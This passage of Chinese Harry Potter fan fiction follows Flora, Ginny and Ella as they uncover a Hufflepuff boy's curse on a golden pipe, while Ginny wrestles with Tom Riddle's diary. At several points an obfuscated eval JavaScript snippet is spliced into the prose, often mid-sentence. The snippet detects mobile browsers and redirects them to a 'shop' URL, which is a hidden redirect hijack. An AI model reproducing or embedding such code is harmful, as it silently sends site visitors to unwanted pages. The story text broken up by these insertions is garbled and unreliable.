“……好啊。如果以后你还愿意——哈哈突然这么认真干嘛。啊,对了,你知道回去的路吗?顺便拉我一把,在这蹲久了,腿有点麻。” 芙罗拉往旁边挪了一点,活动了下身体,感到的更多是运动过后的肌肉酸痛——要知道,她讨厌运动。 她伸手拉起金妮,金妮脸上有过一瞬间的扭曲,结果不小心咬到了舌头,苦着脸说,“嘶,好疼。” “你总是这么不小心的样子,”芙罗拉抬起金妮的脸,左手掏出魔杖,“愈合如初。” “这不是有你吗,未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201271|139182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来圣芒戈的治疗师。”金妮咯咯地笑着。 芙罗拉顿了一下,若无其事地避过金妮看过来的视线,“这是当然。不过你有想过以后想做什么吗?” “没有啊。”金妮答得很快,语气很无所谓,“那种事,以后再说吧。” 两人并行在房间里绕了一圈,小声闲聊着,发现了路口就往前走,金妮抱怨学校的路复杂地跟禁林没什么区别,走着走着,竟也不觉得长夜漫漫,她们误打误撞就走到了格兰芬多高塔,胖夫人在门前发出了阵阵香甜的鼾声。 被胖夫人骂的灰头土脸,芙罗拉和金妮一回到寝室就不约而同地瘫坐在地上,两人都叹了一口气,芙罗拉转头看了一眼埃拉的床位,她果然已经回来了,正睡得舒服。金妮注意到她的目光,便追随过去。 “她倒是睡得安稳。”她小声说。 “不早了,明天还有麦格教授的课,我们也该睡了。” “知道了知道了。”金妮没忍住,“我亲爱的——妈妈。” “什么啊,”芙罗拉推着金妮的肩膀,忍俊不禁,“我才没跟你过家家。” “睡啦睡啦!”金妮一溜烟跑去公共浴室。 芙罗拉盯着金妮离去的背影。 【在逃避下去的话,就要跟重要的东西失之交臂了。】 玛莉莲安娜夫人的话突然蹦进她脑袋里。 我是在……逃避吗? 装什么呢,这种事情,你,不是早就察觉到了吗? 14. 第 14 章 我在1989年的夏天第一次见到芙罗拉的时候,查理成为了一个他从前梦寐以求的驯龙师。 妈妈跟我大吵了一架,我已经不太记得是因为什么事情而吵,大概是件不太重要的小事,也不知道我为什么会那么斤斤计较。 总之,在我们吵架后,弗雷德和乔治不嫌事大嘲笑了我一番。这让我非常生气。 我要离家出走。 很快我就下定了决心。罗恩在旁边看着我收拾行李,傻乎乎地问。 “金妮,你要去哪?” “我要离家出走。”我万分认真地回答他。 “哦。”他点点头,然后说,“那你早点回来。” “……我才不会回来!”我恶狠狠地说,带着行李把门摔得砰砰响,连后面罗恩的表情都来不及看,急忙就冲出门,以免被妈妈发现。 我当然不知道去哪里,但是离家出走嘛,离开家才是最重要的,稍微思考了一会,我很快就不再纠结,走到哪算哪,反正不回家。 不知道过了多久,久到我看见黄昏的余晖逐渐被夜晚吞噬时,才终于有了一些害怕的想法。 但就这么回去吗,我不知道。 要不再呆久一点?反正不要这么快回家。 于是又不知道过了多久,当夜晚成了世界的主场时,我已经来到了一个非常陌生的地方,能望见一座黑色的高塔,旁边是被蹂躏过后枯萎的花。 我决定回家——拜托,谁要在这种鬼地方过夜,我甚至没能拥有属于自己的魔杖。 先是想到家里虽不算舒适但至少温暖的床,再是妈妈那张平常温柔的脸,我后悔了。离家出走的我真是个傻瓜。 就在我要打道回府的时候,小孩子的哭声吸引了我的注意,声音并不遥远,甚至近在咫尺。 时间一分一秒过去,好奇的天性打败了我,我不再犹豫,往声音的方向走过去。 芙罗拉和我的故事从这里就开始了。 现在回想起来,她说的话还真没错。 ——真是世间仅有的,自私的家伙。 * 魁地奇比赛在克林被石化前就结束了,一定程度上安慰了一些相当热爱魁地奇运动的学生。 比如说,格兰芬多魁地奇队现任队长,已经六年级的奥利弗·伍德。 芙罗拉注意到他时,他表情狰狞地伸出手,像拿着什么东西一样,重重地挥舞着手臂,吹出的疾风自带杀气,芙罗拉转转眼珠,假装自己是个瞎子。 “喂,你——”伍德沉声说,看了眼浑身僵硬不自然的芙罗拉的巫师袍,“是格兰芬多的?” 芙罗拉不得不转过头来,沉默地点头,伍德盯了她几秒,视线压在芙罗拉身上,竟有如山一般沉重。 “刚刚有个赫奇帕奇的新生走错了。”伍德沉重地解释,深邃的眉眼浮上一层阴郁,“要不是现在魁地奇赛已经结束了,我肯定不会放过他。” 在伍德看不见的暗处,芙罗拉抽了抽嘴角,她看着奥利弗·伍德严肃的脸,竟能硬生生从中看出他在魁地奇比赛上叱咤球场的队长模样,真是个表里如一的人,不愧是格兰芬多。 正当她走过伍德,要前往大堂时,埃拉打着哈欠从公共休息室走出来,眼尾还挂着泪珠,一副困倦的样子。 芙罗拉主动打了个招呼,埃拉晃着脑袋,好似还没意识到是在叫她。 “刚有个赫奇帕奇进去了,你有看到他吗?”芙罗拉再次叫了一声,跑过去拍埃拉的肩膀。 “——呜哇!吓我一跳。”埃拉惊得抖了一下,双眼瞪大看着芙罗拉,“……赫奇帕奇?” 她顿了一下,“没看到。赫奇帕奇怎么会来我们的公共休息室?” “我也是听别人说的。听他说好像还是个男生。” 埃拉目瞪口呆,“真的?” “我也不太清楚,只是听人这么说,不过他很肯定就是了。” 看到埃拉两只眉毛拧在一起的样子,芙罗拉继续说,“不过要是真有赫奇帕奇来了,肯定会是个话题,说不定我们很快就能知道是谁来过格兰芬多寝室。” “这样吗?”埃拉短促地笑了一声,“那还挺好的。” 今天第一节课是魔药课,不用说,期待斯内普会有改变还不如期待预言家日报做出真正的预言。 “很遗憾,期末考试的难度不会因为脑袋里种满了芨芨草的、学生的、愚蠢的意外而有任何下降。”斯内普慢吞吞地说,眼睛却锋利地盯着格兰芬多这边,“翻到教材第三十四页,别让我重复第二次。” 芙罗拉翻到教材第三十四页,突然感觉到手臂被碰了一下,她侧过头,视线里是满脸写着无聊的金妮的脸,她趴在桌上,羽毛笔不老实地游走着,刚刚就是这支笔碰到了芙罗拉的手臂。 芙罗拉眯起眼,与金妮对视的瞬间,金妮勾起嘴角,羽毛笔唰地立起来,抚过芙罗拉正握着羽毛笔的手,那只手极白,更甚于一种透明的苍白,笔上附着的绒毛扫过她指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“平斯夫人在那你还敢聊天?”金妮反问。 “总比我写不完作业好。”埃拉白了一眼金妮,对芙罗拉又是另一副模样,“现在芙罗拉才是能救我的人!” 芙罗拉“啊”了一声,“好像我也没写来着……” 金妮跟着说,“我也……” 三人面面相觑,一同拿着作业灰溜溜地跑向图书馆。 15. 第 15 章 “嗨。” “嗨。” “嗨。” “谁啊这是?”金妮附在芙罗拉耳边低声说。 “乔治·威尔,一个赫奇帕奇。”芙罗拉回她,同样小声。 金妮停了一会,手指戳着芙罗拉,“他们什么时候才能停止这种像是弗雷德和乔治在一起玩的谈话?” “不知道。”芙罗拉面无表情,“看起来一个世纪都不够他们聊的。” 自从她们三人赶到图书馆后,本想立刻找座位补完本质上是洛哈特赞美诗的黑魔法防御术作业,谁知道埃拉一眼就看见了躲在角落里默默学习的威尔,拉她们直接往威尔身边坐——旁边明明还有许多空位。 金妮翻开她的作业,一片空白。她盯着那片空白眼神呆滞,握在手中的羽毛笔许久没有落下。 “在想什么?”芙罗拉笔下生风,没过一会羊皮纸上就写上了满满的单词,在第一面已经快写完的时候,她分出一丝注意力给到金妮,问道。。 “写不出来……”金妮痛苦地说。 “……”芙罗拉无话可说,“随便写点夸奖的话上去,洛哈特不太扣分。” “咚”地一声,金妮让自己倒在桌上,声音嚼在一起般模糊,听起来莫名像是撒娇,“啊——头好痛,写不出来——” 真是的,好歹稍微认真一点对待作业——虽然想这么说,但话都到了嘴边,看着金妮眼下的青黑,芙罗拉终究没能说出口,只是心中的无奈越发加深。 另一边,埃拉和威尔的对话还在继续。芙罗拉手指动了动,笔下的作业已接近尾声,她隐蔽地看了一眼趴在桌上的金妮,只能看到她头顶小小的发旋。于是,注意力便转移到相谈甚欢的两人身上。 “你听说了吗?那个洛哈特最近要办决斗俱乐部的事,怎么说也太奇怪了——邓布利多不会同意吧。” “……那个,也许吧,我对这些……也不是很了解。再说,感觉这些跟我也没什么关系。” “怎么没关系呀,听说一年级也能参加的!” “啊……嗯……是、是这样啊……” 很普通的对话,如金妮所说,听起来就是两个好朋友在聊一件很普通的事。 找不出错吗? “诶?”埃拉和威尔停止了没什么意思的对话,齐齐转过头来看着芙罗拉,埃拉歪着头,眼神透露出困惑。 “你刚刚有说什么吗,芙罗拉?” 在两人的注视下,芙罗拉的动作仿佛被定格一般缓慢,那双平日里死寂般的灰色眼睛眨了眨,像突然被注射了某种奇异的魔药般回归人世,她的嘴角缓缓勾起,带着一点温度。 “斯内普教授给我的魔药学作业打了o,怎么想都是因为他实在挑不出一点错吧。”芙罗拉拿起了放在一旁的魔药课作业,“说起来,后天还有一节魔药课,这次你可不要想我会帮你。顺带一提,明天就有黑魔法防御课吧。我可不希望有人一字不漏地把我的作业抄下来,即使是洛哈特教授,被惹急了也是会咬人的吧。” 她意有所指,“你说是吗,埃拉?” 埃拉张了张口,像是不知道如何作答,张开的嘴唇最后停留在一个尴尬的笑上,她点点头,脸色难看。 “知道了知道了,我这就开始写。”她翘起嘴,嘟囔着,磨磨蹭蹭地拿出了羊皮纸。 * 晚上十点左右,费尔奇正在霍格沃滋的走廊上巡逻,身旁没有洛莉丝夫人——一只丑猫。 他佝偻的背影在火焰灯的照耀下投射到后方十多米远的地方,这时他忽然迅速地转头,稀疏的眉毛高高拧起,又缓缓垂落。 没有异常。他转过头去,脚步声在这条被无数画像包围着的走廊上回荡。 ……像只被人唾弃的老猫,却挣扎着不愿接受命运。 真可悲。 ——【这就是你的真话?】 芙罗拉从阴影处探出身,没有表情。并不是第一次干这种事情,她早已习惯看着费尔奇远去的背影,在所有人不知道的地方,做些出格的事。 那张脸上满是丑陋的疤痕,那个人、也许是住在她的脑子里,也许真的就在某个离她很近的地方,正在猖狂地大笑。 她看见了,或者说她幻想出了,就在这长长的、没有尽头的走廊上,那个人站在她恰好能看见的地方,夸张地咧起嘴,手中的魔杖被恶作剧一样举起,然后指着她,祂笑得更开心了,口中念念有词。芙罗拉甚至不需要看就能知道祂在说什么。 ——【阿瓦达索命】。 即使只是玩笑一样说出的咒语,也足以让人心惊肉跳。 “你是谁?” “诶,这还用问,从今天开始,我就是你的——” 总是这样,那个人莫名其妙地消失了,一如祂莫名其妙的出现。 真是,一个个到底在搞什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201273|139182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么。都是这种麻烦的家伙的话,就是“不想管”这种任性的念头也应该得到满足才是。 但是,如果真的不管,那么—— 【又想躲在壳子里吗,胆小鬼?】 又来了?烦不烦? 像你这种自说自话的家伙,还是赶紧死掉比较好吧? 【想让我死掉?可以哟,你能做到的话哈哈哈哈哈哈哈哈哈——】 “啰嗦。”仿佛被按上静止键一样,仿佛刚刚所有的一切都从来没有发生一样,芙罗拉依然面无表情,周围静得只能听到烛火燃烧的声音,好像一切都只是芙罗拉的幻觉。 一切都只是她的幻觉。 她停住,表情终于发生了变化,意识到她终于走到了终点。 或许是谜团的起点也说不定。 芙罗拉垂着头,心想。 * “怎么会这样?!”埃拉急切地握住他的手,眼神中充满恐惧。 “这就是……副作用吗?” “你怎么还能这么冷静!已经够了吧,再继续下去的话——” “事情到了这地步,早就已经不能回头——” “——真是看不下去了。” “谁?!” 埃拉瞳孔骤缩,下意识地朝后退了一步,手已经探到巫师袍里,朝着出生的地方看去。芙罗拉就像舞台剧里最后出场的主人公一样从半阴影的地方一步一步走到台前,那双灰眼睛一寸一寸掠过埃拉的脸,最后转到她之前握着的那双手,现在已经被主人下意识隐藏起来。 “芙罗拉……你怎么会在这?”埃拉结结巴巴地问,哪怕清楚自己的询问是多么苍白无力。 芙罗拉刚开始并没有说话,她径直走向那个人,与他对视的瞬间,那个人便因为胆怯而低下头去。 埃拉无法说话,并不是不能说话,而是在这种情况下,语言被沉重地压住在嗓子眼上,她试着去拉住芙罗拉,正要碰到她的袖子时,听到她说。 “果然是这样,你们还真是一群麻烦的家伙。” “诶?”伸出的手停住了。 “这种诅咒也敢随便实施,竟然是在魔药课上天天被斯内普教训的威尔,命运还真是充满恶意。”她歪着头,突然转向埃拉,笑了一下。 “干嘛这么惊讶地看着我?你的伪装太差劲了。”她告诉她。 “再说,只是区区诅咒罢了。” 16. 第 16 章 就像是天性一样,一旦决定了什么,她便像一条快要饿死的狗一样,哪怕死皮赖脸也要紧紧咬住视线内唯一能看见的肉,绝不松口。 确实早就有所察觉。 最开始觉得怪异的,是因为主人匆忙离开而落在桌上的几本书。 引起她注意的,是放在最上面,透露着邪恶的封面。 “在我小时候,比现在还要小的时候,我总是希望自己能懂得更多一些。”芙罗拉微眯着眼——她思考时下意识会这样做,“那本书,《被诅咒的器物》,我在霍普家族的藏书里看过,现在还有些印象。” 并不在乎两人脸上的表情,芙罗拉感觉自己的身体轻松地不可思议,如同全身浸在阳光照耀下的溪流一样,口中的话哗啦地落下来。 “「黄金,当被赋予人世间几乎能实现大部分欲望的承载物时,就注定了其作为诅咒这类邪恶事物的最好器物。」”脑中回忆着那本书,芙罗拉一边观察着两人的表情,心中竟不由觉得无聊,她对这样的情绪兀自感到意外,却抿唇,继续说下去。 “还记得吗,那本书里关于黄金的介绍?不需要我说再多了吧,那个被阿比盖尔抢去的黄金烟斗,没猜错的话,那个烟斗就是导致他最近霉运连连的罪魁祸首。”看到威尔似乎还想说什么的样子,芙罗拉摆摆手,毫无表情的脸显得异常冷酷,“反驳也没关系。仅仅只是因为这种巧合就怀疑你的话也太幼稚了,不过巧合的事情多了,就绝不是巧合能说得通的。” 她静静地扭头注视着威尔,“说真的,我不喜欢在一件事情没有确定之前就去考虑各种可能的发展。这也是我为什么会跟踪埃拉的理由。” 埃拉抖了抖,对芙罗拉的视线本能般地逃避。芙罗拉继续说,“这也是个巧合。如果我没有想到是谁说漏嘴霍格沃滋的厨房位置的话,我可能都不会把你跟她联想起来。即使你们两熟悉的莫名其妙,但是格兰芬多跟赫奇帕奇做朋友也不是什么稀罕事。那到底有什么奇怪的呢?” “还没发现吗埃拉,”不知道什么时候起,芙罗拉定定地看着埃拉,“从我闻到你身上烤肉的味道时,我就知道你和另一个赫奇帕奇的人在计划些什么。至于为什么是赫奇帕奇,都来厨房了,不可能是拉文克劳或斯莱特林的新生。二至七年级你没有走得很近的,再者,如果是高年级想搞事,不会选择一年级的新生合作。知道是你的话,另一个赫奇帕奇是谁,还用想吗?” 她的声音仿佛充满魔力,可怕的就是塞壬的歌声也无法吸引到埃拉分毫。她咬住唇,像被狠狠压紧导致酱汁溢出的三明治,脸上一片坨红,不知是羞愧还是愤怒。 “……”芙罗拉沉默下来,于是再没有人说话了。 “你知道了。”威尔的声音像是生锈的齿轮,干涩而犹豫,停的断断续续也毫无规律,“你会告诉教授吗?” “不。”芙罗拉哼了一声,毫不犹豫地说,“我只是想知道你们到底在干什么。身边的朋友都在自以为是的做事,你不知道会让人很担心吗?” “担心?”埃拉笑了,眉头却皱着。“你一直都那副冷脸,我还不知道你会担心我呢。” 芙罗拉没说话,只是看着她。这时埃拉再次看着那双眼睛,突然鼻头一酸。 “能说吗,乔治?”埃拉也问威尔。 威尔默了一会,轻轻点头。 * 与此同时,金妮·韦斯莱不怎么端正地坐在书桌旁,手上的日记本翻来覆去,握着的羽毛笔顿在半空,半天都未曾落下。 这本日记本普通地就像任何一个平平无奇的本子一样普通,不论是封面还是里封,看起来与其他日记本没有任何不同。 但金妮知道,从她拿到并打开这本日记本的第一天起,这就不是本普通的日记本。 汤姆·里德尔。她翻开第一页,手指划过那个名字。 这是汤姆·里德尔的日记,一个不知道几几级的霍格沃滋的学长留下来的日记。 羽毛笔最终还是落了下来,金妮在空白的纸页上写着什么。 「汤姆,你在吗?」 纸上的黑字在她写完后没多久就消失不见,金妮并不为此感到惊讶,她等待着,等待另一个人的回答。 她没等多久,她向来不需要等多久。汤姆的字迹漂亮工整,很容易让金妮想到魔法部那些稳坐在办公室里,手握实权的纯血。 「心情不好吗,金妮?」 光是盯着这句话,金妮脑海里就能立马浮现出一个甚至比比尔还要英俊的男人,用大提琴般醇厚的声音笑着对她说话。 心情不好吗,金妮? 她死死的盯着这几个字。汤姆总是善解人意,他似乎有某种看穿人心的能力。他明白她的需要,他体谅她的抱怨,他照顾她的幼稚。 金妮没办法讨厌汤姆。 他多么了解她的脆弱。 却是这样的了解,金妮开始感到害怕,她下意识依赖汤姆,因为汤姆在日记本里对她说自己无所不能,所以她信了,于是她更害怕了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201274|139182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >「你到底是谁?」 她写道。 汤姆回答她。 「我只是你的日记本。别担心,我会帮助你,直到你不再需要我为止。」 金妮咬住唇。日记本,他总说自己只是一本日记本,怎么会有一本自己有意识的日记本。 从洛莉丝夫人被石化的那个晚上起,她开始做噩梦,无数个日日夜夜,她梦到自己双手鲜血,哭着喊着不是自己做的,她也不知道为什么那些人会那样看着她,仿佛她是一个作恶多端的杀人魔。 仿佛她是那个不能提及的名字。 她想过告诉别人她有一个这样的日记本,一个能跟她对话,解决她所有问题的日记本。她想过告诉她的哥哥们,想过告诉赫敏,想过告诉那个大难不死的男孩,想过告诉教授们。 但是真的就会这么结束吗?金妮拂过日记本的封面,耳边是汤姆的声音,蛊惑她,告诉她不能这么做,他们不会信的,他只是一个日记本。 她带着怀疑相信汤姆,脑海中翻滚着一个想法。 如果现在霍格沃滋发生的事真的是她做的,他们会怎么看她?霍格沃滋绝对会开除她的! 金妮感到后颈升起一股冰冷的寒意,直捣她的头皮,指尖颤抖起来,她拼命地抓住桌上的日记本,日记本没有动静,手指的温度仿佛正在冰冷地嘲笑她的恐惧。 金妮深深地呼吸了好几下,她不敢再看日记本,在想过了所有想要告诉的人后,她最后想到了芙罗拉。 不,不能告诉芙罗拉。金妮想不顾一切地撕扯着自己的头发,她实在头疼得厉害,无意识地磨动牙齿。芙罗拉跟所有人都不一样。她想。 不管她说什么,芙罗拉会毫不犹豫,毫无理由地相信她。所以,不能告诉她。 至少,这种她自己都手足无措的恐惧,不能让芙罗拉知道。 她想到那个平常基本没有人去的女生盥洗室,哭哭啼啼又烦人的桃金娘住在那个地方,她尖叫着让她们滚出自己的地盘,却对留在那里的东西根本束手无策。 好极了,就在那里说再见吧。 她的视线缓缓落在日记本上,她所有的少女心事都不留余地地记录在了上面,它寄托了她的情感,舍弃不是一件容易的事。 很快,她挪开了眼,想到芙罗拉的眼泪,忽然拉直嘴,日记本在她怀里被挤压地有些变形。 “再见,汤姆。” 她呼出一口气,就好像真的能马上脱离出这种困境一样,长长地呼出一口气。 17. 第 17 章 要学会站起来。爸爸用手指着我说,声音很是平静。 他穿着破旧的衣服,身姿却很挺拔,脸被厚厚的阴影遮住,我低着头,讷讷地应了几声,看见地上的影子一高一矮,被光分割成了两半。 我轻轻地扯了一下嘴角,很疼,那群人打人喜欢往脸上揍,因为可以看见人被疼痛击倒时的狼狈样子。他们会指着他的脸,一哄而上地讥笑他,我看不清他们的表情,却能跪在地上看到他们扭曲的影子想鱼一样摆动。 爸爸说活下去,总有一天能出人头地。脸面算什么,权力才是永远的。 所以他投靠了黑魔王,妈妈生下我后不久就死了,过几年,黑魔王也消失了。 巫师世界刮起了一阵红色的风,还没等我缓过神来,一切早已物是人非。 再过几年,爸爸自杀了,他死得悄无声息,棺材合上的那一刻,猫头鹰寄来了阿比盖尔家族小少爷的生日请柬。 威尔家族没落前,似乎和阿比盖尔家有些渊源。舅舅家在父亲死后接纳了我,他们最近的一笔生意要经过阿比盖尔家的同意,便带着我去了小少爷的生日宴。 我连眼泪都没来得及落下,那天的回忆竟然也只有小少爷站在人群最中心,穿着高级布料定制的礼服,迎接所有人的祝福。 我记得那天阿比盖尔心情不好,他的朋友们七嘴八舌地围在他旁边,变着法地安慰他。 我跟在他旁边,做他的跟班,舅舅跟我说这是回报,是我爸爸欠他们家的债。 爸爸唯一留给我的东西,只有一个黄金烟斗,据说还是曾曾曾祖母留下来的传家宝,所以没敢变卖掉。 阿比盖尔是个奇怪的人。他不怎么喜欢那个没人敢提起的人,他总是直言不讳地提起那个人,口气很冷淡,这在像他这种有钱有权的家族里很是稀奇。况且,他整天都一副没有任何东西能引起他注意的样子,像是天生的冷漠种,或许因为拥有一切,所以看不起一切吧。 某一天,他突然变了。他开始会笑了。 他笑得更多,我脸上的伤口便更多。 他像是一下子就懂了权力的魅力,用以汲取掌握他人的快感。 于是。 在这样没有尽头的长夜里,我逐渐不期待明天。 “所以,你就对他下了诅咒?”芙罗拉平静地问,在骤然沉默的氛围中引起了剩余两人的注意。 “……”威尔闭了闭眼,“其实最开始只是个意外,如果他没有拿走那个黄金烟斗的话。” “我曾曾曾祖母曾经是一个很厉害的魔具师,并且专精诅咒。”威尔慢慢地说,“她曾经靠纺锤诅咒了一个王国的公主,让她永世都处于沉睡中。” “听上去简直像是麻瓜世界的童话。”埃拉插话说,双手抓着胳膊,“真令人难以置信。” 芙罗拉听不懂童话是什么意思,她看了一眼埃拉,惹来同样困惑的目光。 她默默转头望向威尔。 “烟斗有什么特殊的地方吗?” “黄金烟斗的传说。”威尔低声说,“读了那么多书肯定知道这个吧。” “稍微有了解过。”芙罗拉想了想,“你的意思是——这就是那个烟斗?” “诶!什么啊,传说是什么?”芙罗拉看着埃拉一副求知的脸,叹了口气。 “与麻瓜故事类比一下的话,大概就是阿拉丁神灯那种东西。”威尔补充说,芙罗拉觑了他一眼。 “你——还挺了解麻瓜的嘛……” “那不是超厉害的东西嘛!”埃拉瞪着眼睛顺。 “……”不知为何变得很头疼,芙罗拉说,“为什么你会不知道啊?”尤其在背后干了这么多事之后。她咽下了后半句话。 “哈哈。”埃拉的表情看上去很心虚。 “黄金烟斗并不算真正的烟斗。”威尔说,“可以把它看成烟斗状的魔杖。传说可以用黄金烟斗来炼金,所谓‘烟斗值千金’的俗语就是这么来的。” 芙罗拉接着说,“换种说法,这种越容易得到的财富,越是诅咒的最好承载物。” 原来如此。芙罗拉在脑中快速整理好了思路。“诅咒魔咒的发起条件一共有三,其一是诅咒人的强大怨恨;其二是能够承载诅咒的器物;其三是被诅咒人需要每日携带诅咒器物。你的意思是指,黄金烟斗上的诅咒并不是你下的?” “也不能这么说。”威尔的声音闷闷的,“我确实有尝试过,只是不能确定到底有没有成功。” “……”芙罗拉眨眨眼,“是吗?关于这点,我会自己去验证的。” “比起这个,我想再确认一点。”芙罗拉问,“洛莉丝夫人和科林的事,你们知道些什么吗?” 威尔皱起眉头,至少看上去真的一无所知。 “不,我不清楚,但这肯定不是诅咒能做到的事。”他摇摇头,解释说,“诅咒承载着诅咒人永无止境的怨恨,一般伴随着难以承受的灾难,有关石化的诅咒我没有听说过。” “提到石化,很容易想到美杜莎呢。”埃拉认真听着,似乎对这样的话题感到有趣,脱离了被质问氛围的她显而易见地开朗起来,该说是心大还是没什么危机意识呢。 “美杜莎?”芙罗拉绷紧脸,“那是什么?” “是蛇发女妖。麻瓜故事里传说看一眼她的眼睛就会被石化的妖怪。”威尔嘴角弯起一个小小的弧度。 回去后她一定要恶补麻瓜知识。芙罗拉面无表情,心想。她看着威尔,仍然是那张怯懦的脸,哼,真是表里不一的人。 “我知道了。时间不早了,回去吧。万一被菲尔奇抓到就不好了。”芙罗拉冷着声音说,“我困了。关于无聊的麻瓜故事什么的,有时间再聊吧。” 深夜,三人偷偷摸摸地从地道中离开,威尔离赫奇帕奇的公共休息室很近,很快一路上便只有芙罗拉和埃拉的呼吸声回荡在霍格沃滋的角落。 气氛并没有那么平和,当然也并不糟糕,只是没那么好。埃拉似乎很紧张,呼吸凌乱,芙罗拉不止一次瞧到她像被怂恿着用小石头打碎窗户的好孩子那样坐立难安地用手指绻着巫师袍,她一紧张就会大口大口地呼吸,像要把空气吞下去一样,红鼻子变得更红,更像一只麋鹿了。 “嘿,你没什么要跟我说的?”芙罗拉主动说。 埃拉吓了一大跳,“对,对不起,芙罗拉。” 看芙罗拉没说话,埃拉继续说下去,“不是不想告诉你们。但是我看金妮最近状态也不是很好,你又不怎么想跟我说话的样子。威尔又天天被那群斯莱特林的欺负,我本来想等事情结束后再跟你们说的。” “对了,”她快速地补了一句,“石化那件事我真的不知道,我只是想教训一下阿比盖尔而已,没想让别的人受到牵连啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201275|139182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 芙罗拉的眼睛眯成一条线,手指微动,她仍在思考,“我知道了。” 感觉到巫师袍被轻轻地拉动着,芙罗拉望向埃拉,埃拉讨好地微笑起来,小声说,“对不起,我真的不知道你会担心我们。没有下次了” “……我知道了。”芙罗拉转过头去,不再看她,她感觉有些不好意思,“快走吧,寝室里还有个让人担心的家伙呢。” “嗯!” 但是,这显然不是一件小事。 并没有被任何人发现,度过了相安无事的几天。要怎么拿到那个黄金烟斗,成了一件让人烦恼的麻烦事。 芙罗拉其实并不觉得麻烦,不求助于任何人,就要做好最坏打算的万全准备。 等待最好的时机,她向来擅长等待。 机会来得很快。 “决斗俱乐部?洛哈特也太闲了吧。”金妮甩了甩霍格沃滋特报,打了个哈欠。 “巫师决斗!听起来好酷!”埃拉说。 吃饭时候的礼堂一直是一个大型八卦场所,今天的大新闻毫无疑问有关于洛哈特新鲜出炉的决斗俱乐部。 “他认真的?”旁边一个格兰芬多男生说,语气很是不屑。 “洛哈特怎么了,你有他厉害吗?”另一个格兰芬多女生不乐意了,呛声过去。 不出所料吵起来了。由于离争吵声很近,芙罗拉不适地捂住耳朵,看到盘子里所剩无几的食物,她便朝金妮和埃拉说,“我吃完了,出去透透气。” “好,黑魔法防御课上见。”金妮应得很快,几乎像是一直注意她的动静一样。埃拉反应慢了一拍,愣愣地“哦”了几声。 在校园里转了几圈,芙罗拉又转到了猫头鹰鹏,面色平静地接受了不出所料又在这里见到大难不死的男孩。 她看见他局促地起身,逗弄猫头鹰的手尴尬地往后背躲藏,闪电疤痕的存在感依然强烈,他瞪大眼睛,试图友好地微笑,“又是你啊。” 这句话被他说得听起来就像是“怎么又是你”,他显然意识到了这点,手足无措地解释道,“我是说好巧,又在这里遇见你。” 芙罗拉点点头,“确实很巧。”猫头鹰鹏简直跟固定刷npc哈利·波特的地点一样。 芙罗拉觉得自己的比喻相当巧妙,在她恶补了一些麻瓜知识后。 “你,你来这看猫头鹰吗?”这当然是没话找话,波特一看就不太擅长找话题。 “这里是猫头鹰鹏。”芙罗拉挑高眉,“我的猫头鹰住在这。” “好,好的。”波特挠了挠他乱糟糟的头发,突然指着他刚刚逗弄的猫头鹰说,“这是我的猫头鹰,她是个好姑娘,叫海德薇。” “……”不是应该在这里就结束对话吗,芙罗拉有些不解,她试探地观察着哈利的表情,发现他脸上除了紧张还是紧张。 有什么让他紧张的吗?芙罗拉心中存疑,对着雪白的猫头鹰说,“你好,海德薇。” 海德薇像是听懂了她的话,挥动着翅膀叫了几声,跟她家罗宾一样聪明。 芙罗拉夸了几句,心中想着也是该结束对话了吧,就看到波特一脸纠结,却毫不犹豫地把话说出口。 “你不给我介绍下你的猫头鹰吗?” “?”芙罗拉抿起嘴。 这个大难不死的男孩。 是不是有点太热情了? 18. 第 18 章 